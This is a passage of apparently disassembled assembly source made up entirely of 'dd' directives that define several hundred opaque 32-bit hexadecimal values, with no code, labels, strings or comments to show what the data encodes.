		dd 0E47B44E1h, 201D39ACh, 0F6811A85h, 0A0998E7Eh, 0AC40166Eh
		dd 9D54E62Ch, 0F7F2E5F6h, 0EB9C0579h, 70A27227h, 0D4F3418Ch
		dd 0A2955A66h, 55AB74DDh, 5EE2A4D4h, 0BDA3EC52h, 18A65AF3h
		dd 565A7526h, 97F12D3Dh, 0BE2F96EDh, 792C342Dh,	6AFDBBA4h
		dd 3E99E510h, 5CF1AF51h, 99F2437h, 0DCC947ECh, 3B83255Bh
		dd 411EF9A4h, 469C3E78h, 8C015EE1h, 0EE40AB8Ch,	210E9F5Dh
		dd 4EC34340h, 77A45855h, 67B6E918h, 0FB8502Ah, 3FD37E21h
		dd 6CABE269h, 0E8E6F7F8h, 0E37A1FF4h, 54D93195h, 763D996Fh
		dd 158E1C7Fh, 886DD725h, 0B043E116h, 8037E7BEh,	1E6816Fh
		dd 6A665E9Fh, 0A4B434E9h, 0EE209A20h, 0D7591CF2h, 8941964Ch
		dd 1A30567Fh, 0AF89857Eh, 55C33104h, 511999BFh,	5D281C6h
		dd 407580A4h, 0E6C50969h, 0F9920D19h, 5A8FE57h,	0C2629B73h
		dd 0F4D27106h, 0CF7AAE0Ah, 36029B69h, 0C170463Bh, 0D53AF61Bh
		dd 46D7BE96h, 77375DB2h, 5A4CE253h, 0CF018040h,	2B0FA890h
		dd 0A54BB278h, 0E456C1F0h, 913129D7h, 0DF1253h,	6E6B582Ah
		dd 0A777E921h, 905BEC95h, 254A00F3h, 0E9475B2Fh, 67CCA8B1h
		dd 0DF03A0D3h, 89F56F8Bh, 25597013h, 22440F24h,	5D685160h
		dd 0F44D6E1Eh, 69B89CF1h, 27E2B950h, 0DC1F9A25h, 7010098Eh
		dd 9CEECE20h, 365E6C0h,	0FEF85E0Ch, 4D8F600h, 58C20849h
		dd 0C2EAC02Eh, 0A1CDF20Ah, 5439842Fh, 0F1A1ECAAh, 897E9571h
		dd 70203B4Eh, 2C30A6h, 9FF2812Bh, 0C1312038h, 0F704EA01h
		dd 7FC568D2h, 65F6439Dh, 27BFCEF1h, 0A791592Ch,	5DC94259h
		dd 14A8DB67h, 270DD4BDh, 0C1E06309h, 0C18219E3h, 0BA00D814h
		dd 3F3F4D64h, 1787A46Bh, 0F3F7488Fh, 1D2A4A03h,	0B89294F5h
		dd 5C9F4934h, 0C214372Eh, 0F97769D3h, 1ED5689Eh, 3D615h
		dd 6E9F650h, 899F3F59h,	0B274437Dh, 5224FEF9h, 2C74E6D7h
		dd 89415876h, 3C661196h, 613CB00Bh, 908BCE18h, 69820F31h
		dd 0C52D179Eh, 0E7A82BF2h, 0F9354801h, 311CDC06h, 0D9EC6AFFh
		dd 8C70117h, 0F02F3C1Bh, 273A9C3Ch, 2AED4761h, 0E04EF3FCh
		dd 19323D17h, 0B109E29h, 2710AED7h, 84BB2B35h, 0B4B42E78h
		dd 0D72804A7h, 80F20106h, 0EE3A2484h, 55735F76h, 80C6C495h
		dd 190E3BDDh, 90492944h, 0C745815Eh, 5DED4694h,	0C1889DECh
		dd 66E0B616h, 8557E550h, 75376887h, 0D488A431h,	0C54E30FCh
		dd 0C7525B1Eh, 7DD639FBh, 0AA76B283h, 8482D931h, 964AE87Eh
		dd 81DDC4EAh, 29FEFA71h, 5705253Eh, 38C8710Ch, 440C0603h
		dd 10916E9h, 822EE41h, 814E76C5h, 0F2127764h, 0EC3E0928h
		dd 65FB0467h, 0F4AE799Dh, 0D1A15528h, 7468A5D9h, 0E512C312h
		dd 5728DB05h, 69BC1071h, 964D89B1h, 0B7B45F26h,	169D16C2h
		dd 0D31F09ADh, 5954B022h, 42F6FBDFh, 0CFE9D4E9h, 5C46F8B8h
		dd 7E5A337Ah, 552D5309h, 47A8E4E3h, 7F7A3568h, 1691DC95h
		dd 0C28EBB5Eh, 57A36625h, 0E20ED673h, 72D8215Bh, 0C5C499E2h
		dd 13914C3h, 42AD4E0Ah,	17F4EF01h, 77E3AA2Ch, 6853BF18h
		dd 0E72B1FA8h, 0E0AE62D3h, 43663349h, 127D881Bh, 449DC780h
		dd 4605101Bh, 2529137Fh, 84C59047h, 1AF92B0Bh, 34DC75B6h
		dd 4A2273Eh, 2BBE5CDBh,	0CCBE4AD5h, 0A42FE917h,	0E29251C4h
		dd 42D8C331h, 0AEC42783h, 794CCFB8h, 0FE742B0Bh, 635E2402h
		dd 285EC1C6h, 0D5BC7446h, 6381B59Ch, 0FCC86C2Dh, 8D16BA52h
		dd 0B6E17032h, 0CB9D62Fh, 66270216h, 0FD5D809h,	0B15ED094h
		dd 0F6077BE4h, 5367A807h, 0FEE49EF7h, 0FCE2C2F5h, 0D954A799h
		dd 7255676Fh, 5DFBD599h, 7B16DF49h, 0D736E609h,	8C377671h
		dd 0D2928706h, 337164Eh, 0FF1ECC92h, 85B79A9Ch,	6DC85EA3h
		dd 2C014196h, 0A7593C72h, 973C58F2h, 0DC490BD9h, 2D46303h
		dd 6862C360h, 7DC56654h, 0D98F2727h, 0DD7F5CEh,	12EB3D54h
		dd 0E6AD22DCh, 27C8151h, 0F660B502h, 3CE0C0D5h,	224FE580h
		dd 39F577E0h, 0D36728E8h, 903EB4E9h, 4F8EF148h,	51637B17h
		dd 0B5D5BD05h, 7C85A2F9h, 2794A318h, 0EEC6A567h, 29DF91AFh
		dd 0CF622EC6h, 16E7DE0Fh, 0B3DEE59h, 0DC587C3Ch, 0A5B75380h
		dd 0B54AC4E9h, 0EEE5EEA8h, 705DB1CBh, 0FED4710Bh, 0FFC01275h
		dd 0ECFAB6F8h, 9C8095AAh, 7EF52105h, 20BBD49Dh,	0BE0CD708h
		dd 0C2685380h, 4598B54Bh, 21BFF7BBh, 0A061B0FDh, 0CD62D03Bh
		dd 0F02466F6h, 0EF02743Fh, 0D723DD1Bh, 629B141h, 46549734h
		dd 253EF826h, 5389D505h, 0A1083F74h, 0D1BF0271h, 83406D5Ch
		dd 0EB1E6B6h, 0DB3EDDACh, 5ED38A54h, 43E59A5h, 85B73013h
		dd 0E4CE02DFh, 8DD7F1B4h, 0EB2A2A1Bh, 0ACAB7524h, 380C6081h
		dd 0C049CB59h, 99070E24h, 8F4C661Ch, 0D3407C4Bh, 6D8E09BAh
		dd 2F577C7h, 0D7A38DE4h, 7DD9BCBBh, 0CCC6A15h, 8F2A4C68h
		dd 94763ACBh, 25451C81h, 1DF14A3Dh, 0FE4E7E2Ch,	5B60128h
		dd 0E9C6FEB2h, 0A3E9F3h, 3D38D2EEh, 0FAF031DAh,	959F9203h
		dd 0F0055F8h, 0B91B9213h, 4FE30BEAh, 4C47F224h,	0F19FE106h
		dd 0EEBE5893h, 3712F652h, 0F7C19409h, 0B5E905A7h, 3DD9FA02h
		dd 0C5B4013Fh, 8F572B41h, 69370296h, 27D47CF7h,	40B72B78h
		dd 68DB5B18h, 8E01260h
		dd 68049E08h, 0FEBC773Ch, 1B0E15C6h, 93519F21h,	1C20FB5h
		dd 16042D51h, 8AC9B5EDh, 0B842BCBh, 0FED394EAh,	0E997E6F2h
		dd 7DECE5F7h, 3F413FDEh, 255D28F4h, 0E1552D58h,	0BB3A5567h
		dd 6E4AD761h, 3027C02Fh, 400D9F50h, 660DB9E9h, 0A6AA133Ah
		dd 75610074h, 0E8C114A2h, 0BFE97705h, 335E8D8Bh, 78C2A7CDh
		dd 30580BE9h, 8F7F49EFh, 0A044AA7h, 8FD6A5h, 461F6C11h
		dd 0C35A3CE9h, 204E32A3h, 4132C261h, 6D2DF6B8h,	6F7FF410h
		dd 0B8D7F724h, 0FDFAC7F8h, 0D9316710h, 35905Bh,	2F785268h
		dd 781E94Dh, 0E6FE93BDh, 42B04176h, 5C57CA39h, 67DB0008h
		dd 1FE97ABFh, 912E49Eh,	0D218CE16h, 7EED183h, 2FDAE681h
		dd 0F6C02E5Bh, 1898350Eh, 0B616D5B0h, 95058421h, 5EC0C8EBh
		dd 608BE930h, 58C2AF51h, 12B5D701h, 0B16480A7h,	0ECBDD53Fh
		dd 0C7569FEFh, 372CE90Dh, 5BF8CEBAh, 0FBBF854Fh, 0B35E04F2h
		dd 18EC1C50h, 708A5E38h, 0CBA7844Ah, 0FDE985BEh, 0C0D20AAh
		dd 114D2D37h, 8E409BFh,	0E9C2819Bh, 0A33F26DDh,	1797904Fh
		dd 67BE0B55h, 1EA8A27Bh, 70AC25F3h, 5FF36809h, 45FDAA1Ah
		dd 6E916954h, 50846CA0h, 1127A95h, 0F4BEF392h, 0D512B073h
		dd 0F212F03Bh, 0E92580EFh, 20B940C8h, 3F03CAA4h, 0F0507419h
		dd 91FEFB98h, 5C253C6Eh, 15D647C2h, 0FEE401C1h,	2C5282Ah
		dd 2F4BE5BDh, 0E1129924h, 3E9E7CEDh, 53589DD5h,	7C49EFDEh
		dd 11428987h, 853B26D2h, 6E2CEBA8h, 3E3D2668h, 32056F3Dh
		dd 0D234FE39h, 6BBD882h, 8A0B9642h, 8244796Bh, 3AF4C95h
		dd 68BAE5D1h, 0CFB5F478h, 6D6885EFh, 0BBD13035h, 972F7AF6h
		dd 0A280F74Dh, 41A81F3Bh, 79127B90h, 4B1F9174h,	0DEE90104h
		dd 5A090BBAh, 0BD48EC57h, 9A15A66Bh, 0C1CBB261h, 588F3874h
		dd 819CE06Eh, 2870ED38h, 822FD409h, 45C0F930h, 7EA3A3E8h
		dd 23685103h, 0E394B41h, 1211E942h, 0C9C035CEh,	4FB13BB3h
		dd 0E438AC1h, 78810757h, 2622D41h, 21FD2031h, 0E1A22898h
		dd 0F60128DCh, 8EBC0DBh, 6E38C6E9h, 0A6D4275Ah,	0FC9D29A2h
		dd 0CFFC0CEDh, 68135F10h, 7EA37BC6h, 0E6DDD089h, 0FA355E20h
		dd 8AAFF017h, 0A8984EF7h, 6E5B4194h, 1FEE0A06h,	509A0106h
		dd 0B551C2B4h, 0E9E0C35Ch, 2ACE4ECEh, 0BC19C7BBh, 0FF2D5589h
		dd 0A1BAE806h, 454BD191h, 95FB2DAFh, 6280A86Fh,	3CE6C821h
		dd 409F0995h, 5535191h,	214A3168h, 52B00661h, 0E3047DB3h
		dd 3E9F6DA5h, 681D2780h, 0F8EA5FB1h, 89530B5Dh,	2EAB5EC3h
		dd 4F4B0DADh, 67448838h, 9CC31CFh, 88090516h, 0B8AC708Bh
		dd 81569749h, 392BD6CDh, 8CE9119Ch, 31AA04D1h, 2D096636h
		dd 0F10B2AB1h, 163A5D58h, 478C2360h, 0D612CCBh,	0E9F80EA7h
		dd 6FE7BE4Dh, 4B48ECA2h, 0C233282Eh, 7C0B3D78h,	0AFFB0822h
		dd 3AEB830Dh, 276153CCh, 7DDC0CDDh, 82915625h, 6BB10A38h
		dd 72FEF45Fh, 59024686h, 26410590h, 0BF66E640h,	0F381390Dh
		dd 0EAD77B8h, 0A50B0DF6h, 0A8D9510Ch, 6D1008Fh,	1ABA6F01h
		dd 2312DD69h, 39C527E9h, 0A0BEA994h, 7C27C459h,	2777F4D8h
		dd 9213E751h, 982DCE83h, 95E207A9h, 23004909h, 7B25302Bh
		dd 0C008FEB7h, 6AEE7AEFh, 6E1FE0B5h, 0C4C6025h,	0A65B8E4Dh
		dd 0B8557895h, 5CE4B7h,	52786D7Eh, 47359BAh, 4D3D0C9h
		dd 1691CDFFh, 0FF3BF921h, 0EC1726Ch, 54550AE9h,	0B1423989h
		dd 0D6576855h, 9533E476h, 0C14119DCh, 883002EBh, 0A640EBD1h
		dd 4B853121h, 3BA2E179h, 683CB48Fh, 88E57624h, 5C1D341Ch
		dd 779E2889h, 3F70F444h, 0C507BE2Ch, 19672704h,	88C6EFC3h
		dd 1AF0ECF9h, 0A6EB2DE9h, 0BE054DD2h, 1E3C14BDh, 4E59A6D0h
		dd 0D4B8023Eh, 31120ED1h, 6D4CBF0h, 60BF422Bh, 4A672F0Ch
		dd 0E9CEA02Eh, 0E5E29505h, 60C3D1D7h, 0ABBF5751h, 3C1C0316h
		dd 1F7BD601h, 26710521h, 0BECDC42Bh, 2D5C10F6h,	2A6D8C07h
		dd 0A6C7F439h, 8FF85B85h, 94EE41B9h, 2FF93F86h,	37471C4h
		dd 3B39EB80h, 0C3122606h, 1206BCB7h, 45EC0A20h,	4A5ED5A2h
		dd 0FB15797h, 493DEA3Eh, 41483C3Dh, 0E8E43D2Fh,	6FD96817h
		dd 2F4C62FFh, 5FD30102h, 69CEE5FCh, 9CF2D10Fh, 0B8107205h
		dd 0A02D6477h, 0BAA67745h, 630712A8h, 0D0B30F34h, 79A06B89h
		dd 3CFA68ACh, 610B5C9Bh, 9C5D5E55h, 1CF3177Ch, 20A4263Ah
		dd 0B80E7089h, 109A22BFh, 0BB0C0CFh, 0C86200D0h, 25803E2Ch
		dd 0B372F2C3h, 8CFCE9EAh, 0C7D6A392h, 4B938FABh, 2FBE99BBh
		dd 2EC62AFEh, 0A9E5B658h, 0DEAF0F4h, 73807DC7h,	5BD57F40h
		dd 0F298EAB0h, 88DCB9FFh, 5C258E70h, 90BEA8E9h,	80D540D5h
		dd 0F0BCF48h, 338863EFh, 81D698BAh, 0F603C7F4h,	2EFC0D7h
		dd 0CB809BD0h, 5BD587F0h, 0E0EAB585h, 661FBA4Bh, 9DBE8850h
		dd 0C75953C0h, 0BB2E5B54h, 3A897129h, 9AD8E5E9h, 3CD78839h
		dd 93E96F9h, 0CDDE38F9h, 2EFD3A2Ah, 879D17ACh, 19136463h
		dd 27009AF0h, 140D5E69h, 246C116h, 0F335D8F7h, 0B3C02A77h
		dd 0E69D129Bh, 0CD032D9Ch, 33D5DE40h, 7656F12Dh, 2DA81044h
		dd 5BF670C1h, 6221F158h, 0E521D240h, 5500FCA4h,	1FD7EE68h
		dd 0D096421Fh, 0BF46DB5h, 0BA606442h, 50ACBEC6h, 0AA9EE90Bh
		dd 65697AC9h, 6BC43E46h, 902872B4h, 8C35744Fh, 0E0C00F0Ah
		dd 0E14D408h, 0E91A79E2h, 0A7AF1CCBh, 9C9D491Bh, 73F93F30h
		dd 65BCF488h, 0C1AD24C6h, 6F736826h, 5D349249h,	0AAC51A53h
		dd 9DBFD1E0h, 2916C45Ah, 1F2D307Ah, 61132D66h, 20A0049Dh
		dd 0C44D0ED9h, 0AB130A82h, 5A422DD8h, 2CB1CCC1h, 0A3A914EFh
		dd 3D690348h, 75E5FC8Eh, 9E17883Eh, 804871BAh, 0E5D00515h
		dd 42EADDF6h, 0CAE9989Dh, 0C4A22EFDh, 74AFEB54h, 96E9EF1Ah
		dd 3BF9E9B1h, 0E2EBA1C5h, 0FDB8F2D8h, 0ED4A2C64h, 0BCCA85BFh
		dd 0CB8DB1A9h, 0AC5C922Fh, 0D8FDDD4Ah, 4F570946h, 0E4714B19h
		dd 5CE9C56Fh, 0E3EF9452h, 0D83C8EACh, 9BA36850h, 9EEB8890h
		dd 42DCDE27h, 0BAA2CA26h, 4DFF454Fh, 82538B66h,	0F2E8F6F9h
		dd 9E0F5B14h, 87B1B17Fh, 27974070h, 0E7851690h,	56A2D8Fh
		dd 91EE5A77h, 22DFF618h, 802C27BAh, 7D685CD4h, 9835CB57h
		dd 932861E1h, 0FBE88A6Eh, 93FE0292h, 0FFA363E9h, 0D690F231h
		dd 3E629068h, 9E3B13Fh,	3DD8D177h, 0DD50C992h, 24272006h
		dd 53AC5E4Ah, 1DDFD2B7h, 594498DFh, 173D7116h, 0AA06E0C1h
		dd 4003954Bh, 268F2524h, 409CD55h, 0BEF3F004h, 76E46C80h
		dd 1292DE7h, 27089E88h,	9FC55FF6h, 0BE4E4FB8h, 0EFBF2244h
		dd 0ABE7D104h, 49229090h, 471F094Dh, 0D35ED7E9h, 9AEE5C17h
		dd 0ECC71398h, 5E1ECFB3h, 156DCB51h, 17C58C68h,	4E376C24h
		dd 8B102D0Fh, 0EF095527h, 0D08384DEh, 0B0671376h, 66A3BE2h
		dd 0FEE973ACh, 2B5B2DDh, 0D5D7F76Eh, 8C76FD8h, 57234F97h
		dd 5929568h, 0A9C7F789h, 0E42FE028h, 0F9EA90FEh, 28B44C74h
		dd 9095C500h, 0EA09F3B6h, 0D9EEE91Ah, 88EF7E28h, 81071645h
		dd 1F113BC9h, 0E8DF413Eh, 75C24656h, 0C3372548h, 862822DFh
		dd 627F094Bh, 1ACA55F6h, 0F862B5F1h, 58D2745Fh,	0E92E02C0h
		dd 0B68E476Fh, 5AF00543h, 74D8C4C2h, 86224A5h, 0C025C867h
		dd 9F05D985h, 40225464h, 0B37B0FE7h, 3DE02A99h,	2D36FC52h
		dd 6774D609h, 2A88771Eh, 0B2571707h, 59CFC130h,	0D5406C56h
		dd 16581786h, 0E039E90Ch, 540BBB02h, 0D7496260h, 36BAF620h
		dd 212DA90Ch, 1CADD4DFh
		dd 1800B2Dh, 0A3742EABh, 0DE4FC2h, 133305ADh, 7C84544Eh
		dd 148573C1h, 0E14FC97Bh, 61AB2B1Ah, 32C1D954h,	0A1AE13E9h
		dd 14650BF4h, 995D9368h, 50B64413h, 0A2E5B6E4h,	0BDE91CF5h
		dd 0EF9E5A6Ch, 5D31B449h, 0CDBE8CFAh, 766E8E8Bh, 0DE89C2FBh
		dd 8F5611C2h, 0EBC2FE0Eh, 775562ABh, 0FC9D1396h, 364558F8h
		dd 80E0C495h, 3F436EB6h, 0DE10723Eh, 0D04F25B8h, 48663523h
		dd 28300552h, 67F1D705h, 88CCF2B1h, 0BAC55F04h,	0DA355C92h
		dd 5549DD3h, 9E0C8E58h,	0E1BB9609h, 0B4703D37h,	0F145DE27h
		dd 1338DFBh, 2BA75EDAh,	841897DCh, 92C70E35h, 350B63BCh
		dd 0B2D0DF48h, 93268303h, 0FCF7897Ah, 0BD53B2C5h, 1691DBEEh
		dd 0F143B0E9h, 0B0231BB8h, 95C3313Bh, 0B28F15FDh, 5B405CCFh
		dd 43E671ECh, 0F1045998h, 212AC677h, 66D6D1FBh,	0AA9A2A23h
		dd 0DE62E909h, 27FFC457h, 0CE669584h, 0B502B320h, 0D513DA7Eh
		dd 0FA3B6CE1h, 8E1AD505h, 2E10D8AFh, 1CE7F24Bh,	0F7801758h
		dd 175B68E1h, 35AEE0A8h, 0F188539Eh, 2F42C21h, 7EFB6899h
		dd 43E61975h, 18F3F63Fh, 0E59B9BC4h, 400CF007h,	0CB2A68A2h
		dd 543D1D33h, 25661359h, 0BE56B630h, 4119098Ah,	80754665h
		dd 0C6209AA1h, 0DC93A008h, 7F972D1Ch, 1A2021DFh, 4204995h
		dd 0C56880ECh, 0B4329A2h, 0D72B76C7h, 0FCF9A86Bh, 9F7E2FF9h
		dd 1F9702D2h, 939A77D3h, 0EC7C4C77h, 0E95BA82Ah, 72725E42h
		dd 715D5FC5h, 94C0C298h, 0C5E7DF09h, 0A8682CB0h, 6B162852h
		dd 585F40C2h, 4C5222F6h, 9C6C103Eh, 42A2D22Eh, 0C005C584h
		dd 0EB5FB093h, 7692E221h, 0D0310EB6h, 0AF4FBAE4h, 0D8BA2956h
		dd 1E0CC75Ah, 0C3F9D4Bh, 6C6416D7h, 8E50BA53h, 140C6808h
		dd 466B1528h, 9FE95061h, 825A3284h, 4EF78866h, 8405047Ah
		dd 0C26DEA6Bh, 566AD2A9h, 69EADBF5h, 2A896D7Ch,	5418D552h
		dd 11BDA65Dh, 0FD3A5331h, 0DA4E7941h, 13C1E9A9h, 3020942Eh
		dd 77C03567h, 0A33DC6CDh, 0E0CE906Dh, 94469760h, 21A83698h
		dd 519D5CEAh, 0EBC5E40Dh, 9B8AB013h, 0C40074D4h, 505BE636h
		dd 0D1B701B8h, 6A7CAAC8h, 307603FFh, 0DE7E6DB8h, 0B6257690h
		dd 5AB37210h, 0EE13ABEEh, 0EBE316FAh, 0B24A392Fh, 8C51CD37h
		dd 5F6D61E8h, 9C07EE4Fh, 3392DD8h, 0DA89A185h, 8677E58h
		dd 0BE1EF56Fh, 2B462686h, 0DBD608Eh, 0FEF5A4E9h, 9396B6B1h
		dd 0A684480h, 62CF9E15h, 2903BE6Bh, 0D22CB9FAh,	56C55434h
		dd 7A7E9C02h, 1742BA30h, 56614BCh, 600B274Ch, 826B9FD7h
		dd 98200A7Dh, 6F680552h, 0C03D270Ch, 3576CB1Fh,	3491D3Bh
		dd 770BBAE3h, 560C3D0Dh, 0A010FC14h, 0CBF6F205h, 0EB74EBFFh
		dd 0C2EE05AFh, 0D75DA95Eh, 96139CF9h, 11238CBEh, 0BB415Dh
		dd 5AF1881Ah, 528C1B4h,	0EC8059CCh, 6529C3F8h, 751AAB2Dh
		dd 9CDD2192h, 0C7E91815h, 6FFD31EEh, 88A00799h,	0EE0D292Fh
		dd 0CE29516h, 2E39C6C7h, 0E904A248h, 0E9B40B4Dh, 619D62B5h
		dd 0E5FF2006h, 992A05Ah, 0B6D4BB3h, 804146Ah, 5C67D958h
		dd 4741C4DEh, 0DF79ED3Fh, 0FEEA2384h, 0E131B2AFh, 0AC505032h
		dd 25F3281Eh, 1A5C5A66h, 6260C31Eh, 58260CB7h, 3AEC97Fh
		dd 0E9050682h, 0E45590CBh, 0A9452052h, 471E80A0h, 1393835Ch
		dd 9992E30Ah, 0C6EB5FC3h, 36860C0Fh, 407D947Ch,	215FE908h
		dd 0E588A205h, 0B9FE1F8h, 0EA7BEDC6h, 1E84D390h, 8DAA13C3h
		dd 48856E1Ch, 0C6453984h, 7CBC4A6Dh, 7A455BC0h,	0D14CF734h
		dd 0C1CD0011h, 0F931B56Bh, 80484FE9h, 3398BBD3h, 9438913h
		dd 62001BE9h, 21F0CF38h, 0A22FE9D5h, 2D66F95Dh,	0B0AB96DDh
		dd 2F45BC31h, 1E39CFF4h, 0DCAC730h, 164F9235h, 233FD0B2h
		dd 8503E94Bh, 99FECE82h, 37B8645Dh, 0FA8575BAh,	6DFC5C64h
		dd 2148D3F2h, 7D82C207h, 40FC9C14h, 5B16E9B2h, 65F8EED1h
		dd 7CF68180h, 0CD5CD0D4h, 375302E6h, 0D4290D88h, 64BA0091h
		dd 0A3E97EBEh, 0BCB3954Fh, 5878D9Fh, 0F5B01010h, 4463FC3Dh
		dd 0FB22170Ch, 965C061Ah, 0C6F1B59h, 0DA2D0EF4h, 0A0C9F627h
		dd 140CD008h, 2C902090h, 13975450h, 0A63CB168h,	0D65A4E15h
		dd 1770F52Eh, 0DCE962C2h, 0C927D91Fh, 0C700F771h, 0C107295Ah
		dd 0F7081BEEh, 12C40ADEh, 0E4FEF07h, 1AC3FE05h,	69E6FAE9h
		dd 4B945CE9h, 8F279354h, 820E0B46h, 2152717Dh, 0C91926BAh
		dd 0C28874CAh, 136130B9h, 62D76729h, 0FF5A62h, 4C962FD0h
		dd 0DBF75B12h, 422EBA0Fh, 0F653B369h, 1D78A761h, 46BFF9Eh
		dd 9112D62Dh, 9FC9738Bh, 5BA501B4h, 0DCC1004Fh,	50C90243h
		dd 0C1E4685Eh, 25D9558h, 0C82E1Eh, 59685152h, 3BFB1A1Dh
		dd 9C0973Eh, 74F222ABh,	9568067Eh, 2FEF7E88h, 769597C6h
		dd 0F6CE269h, 24902271h, 0EE13F10h, 69A2CD80h, 7954F8C5h
		dd 0B9F55074h, 0B3704BDEh, 0D5B81E16h, 7565DF3Ch, 2DE5D8BAh
		dd 0EF90135Ah, 76378EE1h, 0EC7EF9C1h, 77293B58h, 100D9B2Fh
		dd 5ABE68EAh, 0C45FBD35h, 0FF12A8F7h, 57D89932h, 0CAB2A8F3h
		dd 0E8826AD1h, 80C02F55h, 691E16BAh, 39891B9Eh,	19C57E7h
		dd 234863FCh, 13FAA4C1h, 19F70808h, 0A953A18Ah,	23CF2789h
		dd 1278E551h, 4C24E015h, 26381009h, 0FDC15F60h,	0BF60412Ah
		dd 3AF8A4C0h, 0C67A0D97h, 29B3283Ah, 0A50500EFh, 3600F70h
		dd 5E7E872Dh, 1081801Ah, 13E9567Ch, 7F5A75E1h, 85B81A95h
		dd 0C052582Fh, 0B6D67302h, 80FBE9E4h, 72BCF570h, 2D193BD3h
		dd 2C5F0B09h, 7204A74h,	12203798h, 0E753B72Ah, 0CAC275A5h
		dd 92F8C757h, 8CA4B455h, 16CE480Ch, 0EEEAF643h,	0BE3D4CFAh
		dd 2C266138h, 5BDD0B50h, 0C1E1BE55h, 9268586Bh,	0AAF32E4Dh
		dd 4241EE3Eh, 0ADCE315h, 0E81B029Eh, 0D0BEC438h, 70565938h
		dd 0C54E507Fh, 0FAF5EF90h, 2B453253h, 0A87F1F18h, 6524FA92h
		dd 4810E958h, 0B6A711A6h, 664E1761h, 0BEF29046h, 2D5D2562h
		dd 528AB529h, 25B881C1h, 2F794015h, 4FD56EFh, 130EB78Ch
		dd 5FC38CEBh, 0B7B934B7h, 0B8692266h, 9168FF75h, 8F2F7BC2h
		dd 0E24561Bh, 0EB4BDD31h, 0BD640884h, 0EFED129Dh, 0FC2E708Dh
		dd 77052D20h, 0E950A10Ch, 5538532Dh, 6540DC32h,	7C0374C7h
		dd 35485862h, 20F5AC2h,	5FF90182h, 9E55E077h, 0D2F680EAh
		dd 2F4A97EEh, 280F6331h, 5CB45000h, 245BB63Ch, 0BB0CA0E6h
		dd 26B01BE4h, 2F9788A0h, 0E341CD8Eh, 694570E9h,	1E5710A9h
		dd 3C216809h, 63902C44h, 0A2334027h, 953E83Ah, 68634F00h
		dd 34F66E1Eh, 48235867h, 0EA0B897Bh, 4DCB75CFh,	0BBDB3A27h
		dd 62A6D973h, 0EA0D247Bh, 2FEAB620h, 81370B05h,	8BF507CFh
		dd 5CBFE87Fh, 6E58814Eh, 0FE96CCE2h, 9CF6568Ch,	0D83B3876h
		dd 0F89CE692h, 7B019348h, 947CE53Eh, 31D5E07Fh,	0FA2E5F41h
		dd 3D206042h, 0B7A8704Ah, 0E618DB90h, 2B3E497h,	0F6B3C2B4h
		dd 0CA90E330h, 749FC1DCh, 0EE8070A9h, 1D8898B5h, 32F6B74Dh
		dd 0BE168B6Ah, 7D78A6F2h, 851EF19h, 252DE52Dh, 6EBC1C0h
		dd 770BF381h, 807BDFB4h, 4410B70Ch, 1F569560h, 7F9D0820h
		dd 5AE9A710h, 0C7B16E65h, 2A09F1AEh, 4EEF61D8h,	0B1D2B802h
		dd 0F36A94FDh, 820B96D4h, 0CAEDFE21h, 0CF254FCEh, 6812E059h
		dd 0DA420E25h, 80C18BF2h, 0BD5B66FAh, 0E9584D5Eh, 95BD929Fh
		dd 1420E86Ch, 50C29F07h, 52DBDE57h, 0E98AB95Bh,	3DAAC78Ch
		dd 159A7F0h, 485A070Ah,	0D4A2426Eh, 43C8DCFBh, 0AB9C9C68h
		dd 0BA4B08A6h, 823ECD54h
		dd 7DFEF010h, 419C286Ch, 9EE97354h, 31DE2D16h, 0E96A105Ah
		dd 13C6487Bh, 426726DCh, 5709BC51h, 0CEFE0316h,	88CA47B7h
		dd 5C135D8Ah, 455EE904h, 5FE3B912h, 25684AD8h, 6BC63783h
		dd 588192E2h, 4A5FB46Bh, 0BA04A2B0h, 1C8B878h, 0F074B282h
		dd 7BB720Bh, 0D17FC621h, 0C1EB24E3h, 3A316475h,	758C1732h
		dd 8A820BD1h, 61655047h, 5602F283h, 5A6E2040h, 5673A5Bh
		dd 0B8304BC4h, 0CE067FF3h, 7CE3E937h, 6855093Ch, 0B4770612h
		dd 79342798h, 5303D9C4h, 0C5612968h, 0E52BF11Ah, 425851FAh
		dd 0D9DD9168h, 0F9C6B551h, 215D1600h, 50514C09h, 782D7568h
		dd 97470427h, 8C0987E9h, 2E9150F4h, 0B060631Eh,	4C44000Ch
		dd 0CB8166FBh, 764C065Dh, 226F17CCh, 92804AD3h,	5A9E418Eh
		dd 422823F5h, 19894625h, 64022656h, 0FD2BA137h,	73619CC2h
		dd 0ED0DA608h, 0A3019A01h, 8705563h, 4DC9AD7h, 581CE7C7h
		dd 12C5D63Ah, 0C437A509h, 0D12E809Fh, 260EE030h, 203EFE29h
		dd 0BFE92708h, 0C05B8B84h, 0EB0A5203h, 4501C48h, 4ADCCCF3h
		dd 0C0803295h, 0C7F48EE9h, 72EAB32Eh, 64D52E96h, 69720A48h
		dd 85108Eh, 907CF589h, 8997CBE9h, 44BC5F22h, 3CD4AC9Dh
		dd 5B7212D3h, 120FF3Fh,	4A055D6Ah, 8FAC4Fh, 67DEB850h
		dd 3525EFh, 647C01FDh, 0E44D282Dh, 38571148h, 0FB8C08Fh
		dd 3DDF2CA0h, 0EBE7EA45h, 45016EA2h, 0C13EE323h, 30AE47EFh
		dd 0E8B76556h, 0E90A8295h, 5E67C878h, 2031B821h, 290B3E85h
		dd 0DC1A68C2h, 0BEBD64ABh, 0E15B2FF8h, 1AB86A00h, 4C7816B2h
		dd 4F8DD3BFh, 10164850h, 805FBA3Bh, 402679C3h, 0B8730295h
		dd 298009CDh, 0E7141F03h, 89EB6197h, 99782631h,	0FC074948h
		dd 19298AFFh, 51D5B389h, 0A74C49A8h, 4B95684Dh,	810325FEh
		dd 563D2A8h, 0AA7916BAh, 0C5C52E87h, 0F1B5D4A0h, 0F245BB3Eh
		dd 8EC2FD89h, 2C4C5F45h, 317E6813h, 0FDD77A91h,	815C204h
		dd 0C103B640h, 1307E23Fh, 70BC1F9Ah, 84A207A8h,	5DF6E44Eh
		dd 9688BA5Fh, 0E568125Ah, 1CA1F36Dh, 772F0330h,	614B2616h
		dd 0A6BD82C0h, 68F2184Bh, 0F1815431h, 98256404h, 4583493Eh
		dd 0EC141202h, 0E97E076Fh, 0B0F669DAh, 5F5F5842h, 76FA754Ch
		dd 0F74AA763h, 1EB9B179h, 127FD420h, 80ACAEAAh,	0E59E98Bh
		dd 985E8ABCh, 0AB805A07h, 412E0228h, 62E92AD4h,	297D9418h
		dd 509D40F5h, 4FF4A0D2h, 10DE3E43h, 60A2E702h, 236144A0h
